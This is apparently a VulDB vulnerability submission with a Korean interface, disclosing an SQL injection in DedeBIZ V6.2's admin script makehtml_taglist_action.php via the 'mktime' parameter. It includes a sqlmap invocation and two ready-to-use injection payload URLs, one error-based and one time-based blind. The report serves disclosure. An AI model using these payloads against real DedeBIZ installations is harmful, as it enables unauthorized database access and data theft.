| 제목 | SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/makehtml_taglist_action.php |
|---|
| 설명 | [Suggested description]
SQL injection vulnerability exists in DedeBIZ V6.2 in /src/admin/makehtml_taglist_action.php
[Vulnerability Type]
SQL INJECTION
[Vendor of Product]
https://github.com/DedeBIZ/DedeV6
[Affected Product Code Base]
DedeBIZ V6.2
[Affected Component]
File： /src/admin/makehtml_taglist_action.php
Parameter： mktime
python sqlmap.py -r sql.txt --current-db
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: http://localhost:8086/admin/makehtml_taglist_action.php?maxpagesize=50&tagid=0&pageno=0&upall=1&ctagid=0&startid=0&endid=0&mktime=1 AND GTID_SUBSET(CONCAT(0x716b787871,(SELECT (ELT(2192=2192,1))),0x716b7a6a71),2192)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://localhost:8086/admin/makehtml_taglist_action.php?maxpagesize=50&tagid=0&pageno=0&upall=1&ctagid=0&startid=0&endid=0&mktime=1 AND (SELECT 9884 FROM (SELECT(SLEEP(5)))NySf)
[Attack Type]
Remote |
|---|
| 원천 | ⚠️ https://github.com/yhy217/dedebiz--vul/issues/2 |
|---|
| 사용자 | jamspilly (UID 54414) |
|---|
| 제출 | 2023. 09. 21. AM 11:20 (3 연령 ago) |
|---|
| 모더레이션 | 2023. 09. 29. AM 08:01 (8 days later) |
|---|
| 상태 | 수락 |
|---|
| VulDB 항목 | 240881 [DedeBIZ 6.2 makehtml_taglist_action.php mktime SQL 주입] |
|---|
| 포인트들 | 20 |
|---|